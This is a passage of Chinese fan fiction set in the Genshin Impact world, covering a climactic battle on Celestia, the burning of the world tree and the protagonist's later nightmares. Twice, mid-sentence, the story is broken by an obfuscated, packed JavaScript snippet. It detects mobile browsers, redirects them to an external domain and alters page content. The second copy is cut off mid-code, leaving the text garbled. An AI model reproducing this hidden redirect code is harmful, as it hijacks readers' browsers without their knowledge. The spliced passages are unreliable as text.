旅行者从未见过老朋友温迪如此正经的形态,哪怕对方只是含着笑拨弄琴弦,也足够让异乡的旅人像过去每个清风拂过的时刻为他驻足。 风神对那些将要踏入神国的士兵们说:“飞吧,飞吧,就像离巢的鸟儿一样。不要畏惧脚下辽阔的土地,风会送你们抵达前进的终点。” 神明自有自己登上天空岛的办法,这样庞大的风场纯属是为人类铺就。 眼看着一批又一批人类飞上高天,风神继续拨动着琴弦,难以言喻自己的那份心情。 直到他看见了站在远处的蓝发青年。 青年本是站在至冬军队中不扎眼的位置,但军人们一批一批上了前线,留下来的那个自然而然就被注意到了。 “你在这啊。”风神说,“是想多看一会尘世的景色吗?”不然怎么会还站在原地,不打开风之翼飞上去。 青年,也就是水族的亲王[卡吕普迪斯]掠来一眼:“我在等你弹完这首曲子。” 那吟游着千风的高天之歌,传唱着自由意志的蒲公英之歌啊,可否能抚慰我身后痛苦的哀嚎? 手指轻拢慢捻,弦音未断。神明只是微笑着,注视现在唯一的听众说:“好呀,听完这首曲子,我们就得跟上大家的脚步了。” 时之执政伊斯塔露曾与[卡吕普迪斯]做了一个约定。 “千风成丝,纺织命运。你既然跳出了命运的轮回,自然也能看到风的源头。在透明的河流中逆流而上,前方的尽头就是你的家。” 失乡的孤王刚迈出脚,后知后觉的回头:“那你就在原地吗?” “我在【时之沙】的中心。我在这等待你的胜利。”伊斯塔露合手祈祷,“愿千风佑你。” 离开旧世界的时候,伊斯塔露曾如此祝福他。而今,风神巴巴托斯唤来宝石之龙特瓦林,神与龙身后是扭曲的风涡,青色的蒲公英和羽毛在卷动飞舞。 被风龙护在身下的神明对他微笑:“愿千风佑你,逆流的苦行者。” 天空岛。隐入云中,漫长到仿佛没有尽头古朴长廊,斜倾倒塌的圆柱或横梁。初入此间的人类谨慎的挪动着,不去看白云之下渺小的人间景色。 旅行者站在前方,他依稀还有一些与妹妹共同对抗天理的记忆。那时的天空岛景色与如今并无太多区别,就好像此地时间不曾流淌。 “不是说这里是神明居住的城邦吗?没看到神啊。”走了许久许久也没有原住民出现,达达利亚站在自家女皇身后小声的嘟囔着。年轻的孩子在长辈那里总有些许被放纵宠爱的特权,女皇并不为他的疑惑感到有什么不好,女皇只是说:“你该多等待一会。” “天理沉睡不假,维系者怎么也没有动静?”火神抱臂,“在暗中观察吗?” 雷神摇摇头:“不知。” 她对此地知之甚少,从前都是姐姐出面和天空岛交涉的。 那维莱特仍旧穿着他那身繁琐的审判官制服长袍,对周围的众多身穿白袍戴着兜帽的女神的交流保持沉默。七神之中只有水神不曾前来,顶替她位置的是水龙王。 走在最后的[卡吕普迪斯]叹了口气,他灵魂疲惫而沉重,每一寸骨骼都在叫嚣,就像年久失修的木门被推动发出刺耳的吱呀声响那样。 天空中陡然划开一条猩红的裂隙,猩红与殷红向周围的天空弥漫,重叠交错的数只眼睛眨了眨。磅礴的威压与最原始的死亡恐惧一同降临。 那是死之执政,若娜瓦的化身。 “人类与魔神,应许前来。”若娜瓦也是一位女神,她似乎并不对出现在天空岛上的人类与尘世执政感到意外。眼珠转啊转,看向那维莱特,以及不知何时走到那维莱特身后的[卡吕普迪斯],“还有……龙。” “这地方可不欢迎你们。” 那维莱特能够感受到身后人鱼逐渐粗重的呼吸,他以为他是在愤怒或者恐惧,伸出一只手向后探去,握住了另一个自家的孩子的手权做安抚。希望能以此给予对方勇气和力量。 那维莱特一直都将他的眷属们当做需要保护呵护的孩子。即便美露莘们乖巧懂事,即便卡吕普迪斯已经成年。 这或许是为王的责任与担当。 “僭主的旧日之影,你是以何种身份下达的驱逐令。”年轻的龙王并不畏惧,作为目前唯一的完全之龙,他天然的代表了龙类的立场与态度,“仅仅只是【死亡】与【审判】吗?” 那维莱特是人类认可的审判官,掌握着水元素的大权。光以权柄论高低,若娜瓦对他的确不占据上风。 天空中的眼睛凝视着水系的龙族,死亡的女神轻笑:“水元素与生命相连,我的话确是不如她来得好用。那么巴尔,你来。” 一直沉默的雷神惊愕难掩,看向前方逐渐显现身形的另一位女神。 “上午好呀,各位。自我介绍一下,我是生之执政,巴尔。”那位女神有着长长的头发,闭着眼睛,但面上全是笑意,“也是【永恒】的女神哦。” 永恒,永恒……雷神雷电影怔怔的注视着那位生之执政,喃喃念叨着这两个字。 “唉,你怎么了?没什么事吧?”她身边的火神玛薇卡连忙搀扶了一下,雷电影谢谢她的好意,摇摇头:“没事的,我缓一缓就好了。” 风神迈着轻快步伐走来:“好热闹呀,加我一个如何?巴尔。” 风神站在那维莱特身边,大翅膀正好挡住身后的[卡吕普迪斯]:“你吓到小朋友啦。” 巴尔只是微笑:“他可没有那么容易被吓到。” “水龙王,你的来意我已知晓。如此阵势,是又要掀起四十个时代的血雨腥风吗?”巴尔微笑,与水元素大权对标的是生之执政权柄,她和那维莱特生来就在争夺对权柄的唯一公释权,只有赢家才能真正掌握世界秩序的一角,“龙的时代早已远去,回到尘世去吧。” 不要再妄想争夺世界的统治权。 她笃定在场神明不会有一位出面帮助他。龙和神的立场本就相悖,纵使上千年的时光让他们生出羁绊,也改变不了最后的结果。 “谁说的?”火神玛薇卡第一个反驳,她像一轮灼烧着的太阳,炽热温暖,铿锵有力,“这是人和神和龙一同生活的世界,这是人的时代,也是龙的时代。他们从未远去,也自当有为自己争取权利的资格。” 人间的太阳说:“我们来到这里,是为反抗不公的统治。纵使骄傲如天空的神明,也要听完尘世的诉讼。” 天空岛试图将人和龙分开,然而太阳将他们再次捆绑到一起,将他们的声音联合起来,成为天空无法置之不理的,“尘世的诉讼”。 倘若天神真的不在意蝼蚁的联合,倘若君主真的不畏惧人民的团结,那他又为何要派遣侍者走到台前劝告?早武力镇压了。 玛薇卡声音小了点,但大家都听得见:“在纳塔,人和龙是不可分割,互相依赖的好伙伴。我虽不了解其他国家的内情,但龙这种生物若以真心交付,绝不会辜负。这世界本就属于他们,这个时代也同样是他们的时代。我们从不将其视为异族驱逐,因为他们是我们的伙伴。” 天空岛上的纳塔人民狠狠点头,不能更赞同了。 在场的龙王那维莱特面上还是镇定非常,心底怎么样另说。他不得不承认神的话有道理,因为龙众早在千万年的时光中与人和神产生莫大的羁绊。龙王和古龙要求的是夺回世界的统治权,因为那本就是属于他们的世界,他们的家。被外来者奴役压迫,龙王不会原谅外来者。年轻的孩子们什么也不知道,龙王也不会怨憎他们。 龙王想要他们的子民与千万年前的龙众一样肆意欢腾,而不是屈居人下,被迫放弃本源的进化之路。 生来就渴求力量,渴求进化的龙类永远不会甘愿被奴役成为人人喊打的野兽。 那维莱特点评玛薇卡的话:“包裹着蜜糖,如香甜的诱饵,让年轻的孩子无法拒绝。” “但她是真心的。”冰神说,“你也很清楚。” 那维莱特颔首:“所以才不能停止脚步。我总要为他们讨回他们应有的一切。” 巴尔微笑:“看来你们成为好朋友了呢。” 若娜瓦的眼睛转了转,盯着前方的旅行者,以及他身边不安的派蒙。两位女神在心中轻笑。 巴尔抬起手,天空岛上尘封的古老械兵扭转关节,将武器对准众人:“这世间回还的命运反复重演,正如谢幕后又开幕的同一场舞台剧。” 若娜瓦的眼睛眨啊眨,天理的维系者出现在猩红的星云中:“我早已厌倦当个观众。” 两位女神同时说道:“若要诉讼不公,那就向天神证明你们的决心。” “这是最后一次谢幕演出,还是轮回前的一场狂欢,由你们决定。” 风神拨弄琴弦,弦音一转,急促而高昂。人与神的混战就此展开。 有谁轻声叹息:“我见猩红。” 一直躲在那维莱特和风神身后的[卡吕普迪斯]抱紧了双臂,脚下晕开大片大片的粘稠鲜血。一滴血渗漏了天空岛的基石,坠落于至冬宫的血海中。 刹那间血海分为数不清的血珠,分化、上浮,被巨大的吸力召唤去往天空。至冬的人民惊愕的看着浮在他们国家上空的猩红血雾,极寒的冰也无法冻凝。 血珠们从天空岛的基石反向渗透,于是众人神激战的脚下蔓延出一片海,将整座天空岛笼罩其中。 那些血珠已经融为一体,不分你我彼此。它们包裹住人类,舔舐上神的小腿和手臂,然后在众目睽睽之下,血水构筑出了另一个他们。 稳重如岩神连连后退,血人抱臂,并不在意对方的嫌弃。 草神看着身边同样体型的血人,对方眨了眨眼睛,她也眨了眨眼睛:“这是替身吗?很有趣的保护方式。” 天赋,【泪水与守护】:卡吕普迪斯不愿意让伙伴遭受来自水的伤害。 在血水的领域内,同伴将持续获得水元素相关元素伤害免疫效果。 [卡吕普迪斯]抹去嘴角的血,召唤那柄骨杖:“我与诸位同在。” 那维莱特扭头看向对方死灰一般的眼睛,这才明白他根本不是害怕不是畏惧也不是愤怒,他只是痛苦。 提瓦特所以的流水皆从源海所出,提瓦特所有的水最后都将汇聚成海。众生的血泪与哀嚎汇聚成这片猩红之海,在场每一个神,每一个人类都曾死去,所以如今他们以另一种方式归来,旧时代和新时代并肩作战。 不知道谁说了一声:“好邪性啊。” [卡吕普迪斯]在心底轻声反驳:难道我是什么很正派的角色吗? 他当然不是什么正派角色,他只是个神经病。 “阿嚏!!” 走在地下的静原打了个大大的喷嚏,搓搓鼻子:“谁在念叨我?” 他身边的博士:“这种不科学的解释能不能不要再提了。” 静原:“我乐意,你管不着。” 真管不着的博士翻了个白眼,卡吕普迪斯这种生物真是各有各的特色,这一个就特别横。 他们走在深入地底的小径,去往世界树的所在处。 依照常理而言,世界树应当位于神的精神世界。毕竟须弥的学者修行时,总是在梦中汲取世界树的知识。 但提瓦特的最深处,在世界的另一面,真的存在着物质上的古老巨树。它的根系连通大地各处,构成最原始的地脉网络。如今及以前诸多时代的学者都曾考据地面和秘境里的银白古树是什么,都曾好奇地脉网络为何而生,最后所有线索指向世界树。那颗位于世界另一面,夹在深渊与提瓦特中间的古老之树。 早在多托雷还是赞迪克,还是须弥学者的时候,他就好奇过世界树的存在。 承载着一切智慧与记忆的世界树,它的存在是提瓦特全体生灵共同的记忆存储器。若是没有世界树,人类和神明会变成什么都不知道的白痴吗? 赞迪克曾提出这个有趣的设想。 “当年教令院的导师们说,这是无稽之谈。智慧不仅储存在世界树中,也存在于神和人的大脑中,不会被夺取。”休息的时候,多托雷会和静原讲起过去的事情,“他们信奉知识是神赐的,但学识是自己的这一理念。” “听上去没什么问题?”静原摸摸下巴,“学到的就是自己的,没毛病啊。” 多托雷笑了笑:“人体大脑本身就是储存记忆的容器,和世界树本质上来讲有什么不同呢。毁掉人的脑子,会变成白痴或者直接死。毁掉世界的脑子,或许世界也会变得纯白。” 年轻的赞迪克心想,这是不对的。为什么要把人的知识和记忆储存在世界树里,世界树被破坏,智慧也就荡然无存了。 如今的多托雷说:“他们是错的。” 他的老师们错了,智慧是可以被夺取的。出现在须弥的神明罐装知识就是最好的证明。无论是突兀的出现在脑海中的知识,还是突然消失的知识,都证明了所谓记忆储存本身就是个巨大的漏洞。更何况在早些年前,多托雷发现自己莫名不记得愚人众空缺五百年的第六席,但愚人众的正常运作和部下划分又表示曾经的确有一个第六席存在。这个时间转折点发生在他的切片从须弥回来后。那么问题当然出现在须弥,世界树的记忆储存被动了手脚。 “既然记忆可以被夺取、篡改、添加,储存了如此庞大记忆与智慧的世界树,它为什么要存在?” “因为提瓦特处在一场巨大的,回环往复的轮回中。”静原回答说,“每一场失败的轮回试验数据都会被保留,上一场轮回的记忆被用来给新生的轮回复现。所以需要一个容量巨大的容器储存这片大地的回忆,承载各个时代人类智慧的结晶。” 静原盯着自己的手掌,握紧:“毁掉那个容器,就算他们战败,也不会再有一场新的轮回开启。” 多托雷轻笑:“是的。新世界会是纯白无垢的,任何旧时代的残坷都不会留下。” 这就是他们会走到一起的原因。 为了新诞生的纯白世界。 他们走了很久很久,跨越了阴冷的河流,踏过了涌动的污泥。越往下,身体不断倾斜,在另一个视角看来,几乎是垂直于“地面”。 越往下就是越往上,世界寂静,只听得彼此的呼吸。直到前方豁然开朗,微弱的光照在二人脸庞之上。 多托雷看着那颗古老的银白巨树,用几乎叹息一般的声音说:“神的时代就要结束了。” 这里是没有水,没有火,也没有岩土和风的。世界树就静静的屹立在那,舒展着枝条,散发柔和的银色光辉。 “我以为你会更激动一些。” “做学者最重要的是冷静的心和沉稳的手。再珍贵的实验素材都不能影响这两点。”多托雷补充道,“除非损失巨大,远超过实验带来的利益。”那样他才会生气,不然就没法从潘塔罗涅那里要到新一个季度的实验资金了。 “听上去你想到了谁。” “我的……伙伴。” “难道不是同僚?”静原诧异,“愚人众的塑料同事情就连远在枫丹的我都知晓。” “像我这样的人也会有理解我信任我的同伴。没有比这更高兴的事情了,卡吕普迪斯。”多托雷是笑着的,“我现在由衷的愉悦。” 静原摇摇头:“真是不爽啊,一想到生命的最后时刻居然是跟你在一起,我就笑不出来。不能更浪漫一些吗?” 他们开始引火。 “那还真是委屈你了。” 他们走向巨树。 “……这种时刻说点什么好呢。” “三、二、一,点火!!!” 他们将火种抛洒。 温暖的、炽热的、希望的火种啊,将旧世界的罪孽与污浊焚烧殆尽吧。 静原双手合十祈祷:“希望厄里那斯来生拥有健康的身躯,拥有真心爱他的家人和朋友。希望我们能在新世界再聚。” 他将那柄骨杖投掷,插进世界树的根系。无论是那维莱特还是福勒依斯亦或是美露莘及枫丹的孩子,他都没有祈祷。如今还活着的人与龙命运都由自己掌控。只有厄里那斯这个家伙心脏死寂。 静原握着他的骨骼五百年,[卡吕普迪斯]更久,难道还不许祝福厄里那斯拥有幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818516|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福的来生吗? 火焰跳动,在树的枝丫间舞蹈。熊熊烈火燃烧,灼热的温度和炽热的光辉充斥这一方空间。 四周开始震动,大地剧烈颤抖,流灰与火烬飞舞。 多托雷扬起头,鸟嘴面具下的笑容张扬而灿烂。 这里的人说:“人为神的时代敲响了丧钟。” 天空岛上的人将刀剑插进神造械兵胸膛。 这里的龙说:“龙为新的时代制定了新律。” 天空岛上的龙用纯净的水和污浊的血打破了纺织世间命运的织机。 异世的旅者说:“神座应当崩裂,人类应当自由。” 他们说:“命运将掌握在人类自己手中。” 众人的愿望上达天听,那光芒正如地下炽热的火,即便是天神也会被灼烧得面目痛楚。天空岛最中心的日晷崩裂,旅者将剑插入无神的神座。刺眼的红光在神座的裂隙中散射,映照得整片天穹被火烧一般。 命运的三女神微笑,命运的三女神俯首。 巴尔说:“从此以后不会再有神纺织丝线。” 派蒙说:“从此以后不会再有神丈量长短。” 若娜瓦说:“从此以后不会再有神将其裁断。” 命运的三女神吟唱:“可是啊,原初之人孩子们啊,离开了天神的庇护,你们要如何在漆黑的浪潮中保全文明的薪火呢?” 龙族的王嗤笑:“神固步自封,龙已经迈出了步伐。唯有【进化】才可抵御深渊的侵蚀。” 尼伯龙根能够带来深渊,他的后代和子民自然能够适应。改造自身改造世界,不过是时间问题。 那维莱特闭眼:“而龙会和人一起。”这是王的许诺。 于是尘世的执政微笑。 血海又化为血珠,环绕在[卡吕普迪斯]周围。他看着手中逐渐消失的骨杖,[那维莱特]留给他的最后一样念想也将失去。 真是心狠啊,卡吕普迪斯。 他看向前方的那维莱特,二人视线相撞。[卡吕普迪斯]能从对方含笑的眼睛里看见自己崩裂的皮肤,以及对方惊愕的灵魂。 [卡吕普迪斯]摊开手:“这具身体能够撑到现在已经足够叫我惊喜了。至冬生物科技一如既往值得信赖。” 达达利亚喘着粗气:“你这家伙!这个时候了还能笑出来。” 医疗兵凑过来尝试治愈他,可是皮肤的崩裂速度越来越快,无法逆转。知道最后皮肤褪得一干二净,成为一个血淋淋的怪物。 血淋淋的怪物说:“原来我刚刚在笑吗?” 是啊,我已经很久没有笑过了。 那维莱特看着已经面目全非的眷属,伸出手想要触碰对方的脸颊,手套上只有粘稠的鲜血。 王几乎是颤抖着询问:“不是说【不死】吗?” 另一个自己授封的亲王回答:“这样也算活着。” 早说过了,他顶着一张鱼皮生活。 岩神眉头一跳:“这真是……太残忍了。” 特瓦林连翅膀都不敢用力扑打:“这就是神的诅咒,不能解除吗?” 众人众神看向还没有消失的若娜瓦,天空中的眼睛凝视下方血糊糊的家伙:“【死亡】拒绝了他。窃取执政的力量,这就是惩罚。” 倘若做什么事都不需要代价,这世间的秩序的也就乱了套。 特瓦林不忍心再看:“可怜的孩子。” “别哭,那维莱特。”怪物说,“王是不能落泪的。” 旅行者和回过神来的派蒙只能看着他们朋友的未来成为这个模样。痛,太痛了,怎么能不痛呢? 只听得见派蒙压抑的哭声。 怪物不想把自己的脆弱暴露在人前,他不喜欢那样卖惨。只是他撑不住了,这具躯体撑到现在才坏死已经是个奇迹。 风神不语,只是一个劲的弹奏乐章。 怪物看向风神:“我该走了。” 怪物说:“离开天空岛后,所有人的记忆都会消失。你们只会懵懂的知道从此以后天空可以直视。” 巴尔颔首:“天空岛会崩裂,只剩长廊与世界之门。若要离去,可以从这里离开。” 若娜瓦冷笑:“又要躲回自己的时间去吗?” 血珠划开空间的裂隙,星空的底色与数不清的眼睛眨啊眨。怪物带着血珠走进去,头也不回:“那不是你们打造的监牢吗?” 真是走了也要给人找麻烦,若娜瓦看向挽留不了,徒留愤怒的年轻龙王。 “我需要一个解释,执政。”那维莱特的竖瞳带给人极强的压迫感,在场诸位都已领略过他的威力。原初大海的孑遗,如人面临怒海的狂涛。曾经未开战前,总有人对他的实力加以揣测,连执政也面露轻蔑。如今他的实力已经不需要证明给谁看,他的声音也不会被忽略或者当做玩笑。 若娜瓦态度很坚决:“我无需对你解释。这是世界的规则。” 死亡不会对人解释说人为何要死。死是天经地义的,是世界生来就有的规则与秩序。有人【不死】是因为诅咒,有人【不死】是窃取力量。 坎瑞亚子民是前者,[卡吕普迪斯]是后者。 “不该这样对他的,他做错了什么?”那维莱特无法理解也不想理解,“卡吕普迪斯一直都是好孩子,他——” “他是个勇敢的孩子。”巴尔叹息,“他跳出了命运的轮回,为了不惊动我们,把过去的自己留在了轮回中。窃取了若娜瓦的力量,得到了伊斯塔露的支持,游走在过去的时间线里不断尝试拯救。逆流而上,最终来到了你们面前。” 巴尔说:“但这不代表他就是个好孩子。好孩子不会溺死一整个时间线的众生,好孩子不会追杀派蒙的化身,好孩子也不会梦魇缠身,满嘴谎言。” 冰神质问:“那你说,他为什么会变成这样?” 冰神诘责:“是你们的试验让他举目无亲,是你们的推动让他被迫使用被怨愤污浊的力量。你说一整个时间线的生命都溺死在海中,那为什么不说海水曾是灭世的洪水!” 满堂哗然。 巴尔闭着眼,面上悲悯:“神是不会有错的。” 达达利亚看着身边的女皇愤怒:“巴尔,不是所有神都是瞎子。” 若娜瓦只是重复一句:“神是不会有错的。” 这是统治世界之人建立的规则。 旅行者握着他的剑:“没有任何一个生物不会犯错,即使是神。倘若神不会有错是既定的规则,那就改写这条规则。” 旅行者能感受到众人的信念,他代替众生宣告:“从此世界不会再有神。” 神是世界的统治者,从此世界不再有神,世界当由祂的孩子管理。 魔神?魔神也只是更强大的生物,是尘世的执政。 旅行者看着剑上反光折射出的自己的眼睛,轻声道:“所以你们做错了。” 那一瞬间,执政的神座四崩五裂。天理的神座再次闪烁诡异的红光。 深渊教团的公主仰头看着万里无云的天空,那一点红光愈发磅礴闪烁,天空岛上出现猩红的光柱,直射到世界的尽头。 一刹那间,天空由蔚蓝变得昏黄然后漆黑,天空岛周围是殷红的,然后刺眼的白光扩散,世界寂静无声。 那是爆炸前的宁静,或者说,大音声希。轰隆一声巨响,天空岛上爆炸的建筑碎块如水滴入油锅迸溅,整片天穹照得煞白。 第二次爆炸的时候,提瓦特地面上活着的生物几乎都仰着头在看。看恢复了蔚蓝色的天穹再次被漆黑掩盖,唯有天空那一点红。 爆炸和狂风同时来临,提瓦特各处响起嘹亮或是低沉的龙吟,无形的磨损枷锁断开,与山海同寿的龙终于恢复了精神上的自由。 许多人还是茫然的状态:“天空岛……炸了?” 大家回过神来后惊叫道:“神明大人危险了!!!” 须弥教令院那边叽叽喳喳,不知有哪个鬼才这时候冥想联络世界树,电话打过去才发现对面是空号。 “世界树也无法连接了……” “肯定是你小子功力不到家没成功。” “不是,是真的,没有一点反应,空荡荡的。” 很快须弥的学者也炸开了锅:“世界树没了!!!” “天杀的!这是谁干的!是谁!!!” 只听见学者们抓狂的咆哮:“我的毕业论文!!!啊啊啊啊啊啊啊啊啊!!!!” 108.我从梦中醒来 静原本来以为自己就要这么陪着多托雷一起在地下关永久禁闭直到饿死了。 火烧世界树动摇了这个世界的根基,空间的压缩和坍塌注定他们无法顺着来时的路正常回到地面。 静原从来到另一面的提瓦特后就知晓了自己无法回去,顺从的接受了[卡吕普迪斯]安排的结局。 无论是现在的他还是未来的他,本质上都对神罚一般的【不死】和永生不感兴趣。[卡吕普迪斯]会傲慢的宣称他是不死的,但真要是死到临头,比谁都镇定。 命运被改变,那跳出命运的不死之人,还会一直维持着不死的状态吗? 静原不知道,他对未来知之甚少。 世界树被焚烧殆尽,原本硕大的树根位置只留下一株崭新的枝丫。多托雷看样子很想手欠扒拉研究一下,最终还是把研究目标转向世界另一面的生物。 学者从不放弃对真理和未知的渴求。 于是只有静原瘫在原地睡大觉。 多托雷:“你在干什么?” 静原:“等死。” 多托雷:“我果然还是太高估一条鱼的智商了。” 静原:“什么话这是什么话?鱼怎么了?招你惹你了?” “他们赢了,女皇陛下会来接走我们。”如果输了,降下的自当是天神的惩戒。多托雷急于采集样本带回去,没带助手只能他事事亲力亲为,还要应付这智商下线的怪鱼的脑残问题,真是麻烦。 静原没动弹,原来可以有人接啊,那没事了。老大指定回带他回家的。 不要小瞧我们之间的羁绊啊~ 多托雷就听见这人更安心的继续躺了,呼吸声平稳,以他丰富的经验来看,九成九是睡着了。 等等,睡着了? 多托雷拔草的手掌一顿,不可置信扭头看那条鱼,你就这么躺在纵火后的草地上睡着了?我就算给实验体打麻药也没有这么见效啊。 平时看着是个聪明人怎么这时候突然如此一反常态…… 静原做了一个梦。 或许是心中大石落地后特别放松,这个梦的环境也是他最熟悉的深海。梦里的他依旧是熟悉的模样,游动时似乎还能听见水波拂过耳畔的声响。深海无光,但枫丹的海洋深处也会生长着一些荧光珊瑚与藻类,散发柔和的光晕,颜色也是漂亮的青绿或者粉紫。 对于一条海鱼来说,做梦梦见自己在海中游动跟回家没什么区别,安逸又自在。 如果他没有看见海床上裸露的众多龙蜥与鲸鱼骸骨就更好了。那么多的尸骸失去了血肉只剩骨骼,静静的躺在荧光珊瑚和海藻中间。空荡荡的眼眶里冒着泡,偶尔会钻出一条小鱼。 就好像他们只是聚众狂欢后累了,睡在这里,睡饱后就会醒来似的。 但死了就是死了,深海寂静,连心脏跳动的声音都没有。 静原看着那样多的骸骨堆在一起,七零八落的碎骨头不必说,大骨头几乎是围成了一个圈,只有一颗硕大的头骨盖在上面。 那个中心地带有什么? 静原不知道,直觉促使他游过去。直觉告诉他在海中你就是绝对安全的。 当他真的来到了那里,却看见一条人鱼静静的横躺在那。躺在有着柔软藻类铺垫的海床上,躺在众多骸骨围成的保护圈内。深海的黑暗将其上半身笼罩得严严实实,荧光珊瑚却照亮了他的尾巴,那是如同晴空一般蔚蓝的色泽,那是静原尾巴的颜色。 躺在那的也是静原啊。 他意识到这一点的时候,梦境开始剧烈震荡,海水被无形的手搅动,一时间乱流与漩涡失去控制,深邃而幽暗的危险正在被酝酿。 直到他听见有人问:“你怎么来了?” “这不是……梦吗?”他游上去,贴近了最为硕大的那颗头骨。他承认他有些害怕底下那个东西。硕大头骨可以充当掩蔽物,给他一点安全感。 有时候死掉的比活着的更可怕。 “……梦是不会有声音的。”躺着的那个家伙声音带着股说不出来的疲惫和平淡,“情绪起伏别太剧烈,妈妈会不安的。” 海的孩子与海心意相通,卡吕普迪斯这个物种不能拥有过于剧烈起伏的真实情绪——虚假的表现出来没事,真正重要的是心。不安、恐惧、疑虑、焦躁,这些都会让洋流和漩涡失控,搅动得海水翻覆。换言之就是,海会不安,会愤怒,会警惕,会焦躁。 这是静原千年前就学会的常识,如今心绪震荡搅动得波浪翻滚,苦头自己吃。 等他安抚好自己的情绪,恢复平常的大心脏状态后连珠炮一样问:“我是不是用了很奇怪的方法在和你沟通?你们打赢了对吧?你是回去了吗?这些尸骨都是怎么到这来的?” “我窃取了四执政的力量,破坏掉命运轮回后,不属于我的力量都会回到各自的主人那里。这是【时间】和【空间】的力量泄露影响,过一会你就能回去。”躺着的家伙带着淡淡的死感,看明白情势后不想多说废话,“别烦我,自己待一会。” 静原没有执着于要所有的答案:“好吧。” 然后他溜到大头骨的最上面,趴在两眼中间的那块骨头上休息,完美诠释什么叫自觉和省心。 其实是静原真的累了,他的状态和高考完直奔家里大床的学生没什么区别,就是疲倦,困,想睡觉。 有人高考完会想着对答案,静原属于那种考完一切与我无关的人的心态,他的确好奇这么多尸骸是怎么回事,可能跟对方那条世界线的悲剧有关,但对方不回答,他也识趣的不打破砂锅问到底。 你总得接受他人心中存在着伤痛,你总得接受再能搞事的家伙也会累。 但是为什么,明明知道不能再想了,可他还是想哭? 静原不知道为什么自己在“梦中梦”也会流下眼泪,那些乳白色的珠子一颗颗从眼角滚落,被水托载着晃悠悠沉淀,成为沙砾中不起眼的一点。 他在哭什么呢? 因为从他趴在头骨上的那一刻起,他就知道头骨生前是什么模样。这是斯库拉的头颅,这是龙族亲王的头颅。是长辈叔叔顶着犯懒小鱼的温柔。 静原不敢想象所谓【未来】到底是怎样的炼狱,他只是粗浅的窥探到了一角,就被吓得噩梦连连。 所以要过多久,要吃多少苦,他才会从现在的胆小畏缩变得波澜不惊? 静原不知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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格蕾丝蒂和托皮娅费了九牛二虎之力好不容易把他拽出来晒太阳,哄着他去海里游。 “前天我去秋分山采集海露花,遇到了斯库拉亲王。他还问我卡吕普迪斯大人怎么不去找他呢。” “卡吕普迪斯大人,你不去找福勒依斯小姐玩吗?” “或者就在枫丹廷参加年轻孩子们的茶话会也很好呀。” 静原听完一抹脸,扭头去伊黎耶林区抱着龙蜥泡水。 蓝或紫色的水龙蜥群居,为了进化出效似美露莘的外形刻苦修炼。对于许久不见的静原只是亲昵的蹭蹭小腿或者后腰,然后去干自己待一会事了。 龙蜥不会像可爱的美露莘那样人性化,它们只听从王阶的号令,随其征伐。现在不需要它们打仗,当然是满心为博得王的宠爱而努力,才懒得理会保育员内心的哀怨。 龙是孤傲的生物,受伤只会默默舔舐伤口然后发誓要仇敌血债血偿。过多的同情或怜悯对于龙来说纯粹是负担。 他需要安静的休息一会,作为同伴,多一些耐心,等待他有勇气出来沐浴阳光就好。 109.第 109 章 静原搬去了湖中垂柳居住。 住在海沫村的时候,每晚都从噩梦中惊醒。他没办法忘记梦中的尸山血海,四海哀苦。挣扎着从梦中抽离,看见的是美露莘们关切的模样,看见的是女孩们奇妙眼瞳中倒影出自己冷汗涔涔的脸。 海沫村在厄里那斯尸骸内部,作为亲手终结对方心脏的侩子手,又将其馈赠的骨骼投入火海,静原已经无法在这里得到安宁。 就算住在枫丹廷那维莱特的房产里,在王的庇护下,他还是会做噩梦。梦中[那维莱特]和[斯库拉]微笑着一遍遍重复死亡的行为让静原尖叫嚎哭,拼命蹬着腿挣扎想要逃离,一墙之隔的那维莱特听到动静后破门而入,不断安抚却也于事无补。 “为什么会这样?”那维莱特不明白,“你的心为什么变得这样脆弱?”情况越来越严重了。 捂着脸的静原声音哽咽:“我分不清了,我真的分不清……不要死……求求你……别死,不要留下我一个人。” 梦里的亲人朋友不会憎恨他,不会指责他,只是微笑着祝福他平安无忧。可偏偏这样最痛苦。 因为那都是[卡吕普迪斯]经历过的真实。 “我受不了了那维莱特,我不敢闭上眼。”静原湖蓝色的瞳孔周围满是血丝,坐在他床边的那维莱特惊愕的发现那双眼睛在他的注视下,瞳孔逐渐被拉得狭长,成为龙族最显著特征的竖状瞳孔。 卡吕普迪斯已经接近崩溃,一遍遍重复:“我分不清,真的分不清了……” 莹润的泪从他眼角滚落,落在被子上成为白色的珠子。一颗一颗又一颗,直到最后融入了血难以凝结。 “……” 那维莱特还有什么不明白:“这是火烧世界树后轮回记忆的重叠。” 或许其他人想起前生的事需要机缘巧合或者漫长的时间,但作为窥探命运的卡吕普迪斯,作为跳出命运的【现在】,他不可避免的被【未来】影响。 所有的人都还在这里,但他的灵魂被囚禁在【未来】,被那个孤身一人的结局折磨到崩溃。 凡事皆有其代价。【未来】拯救了【过去】,那么【现在】就将和【未来】重叠。哪怕命运已被改写,可沉重的记忆如山倾倒在一个人的身上,卡吕普迪斯又不是天神,做不到无动于衷心如止水。 那维莱特闭上眼复又睁开,他从不沉湎于现在的痛苦,寻找解决方法并实施才是最高审判官的作风。 “现在有两个选择。我顺水推舟,授予你正式的亲王位格,帮助你更快的融合两条时间线都记忆。但你的性格和行事作风都会会受到不同程度的影响,很有可能在短暂的癫狂后沉寂。毕竟,记忆几乎构成了一个人灵魂的底色。”那维莱特抬手擦去他脸上的血泪,千年陪伴让他们珍重对方如手足。 他看见对方浸润着血色的竖瞳,从中看见了自己哀伤的眼睛。 静原顿了顿:“另一种呢?” 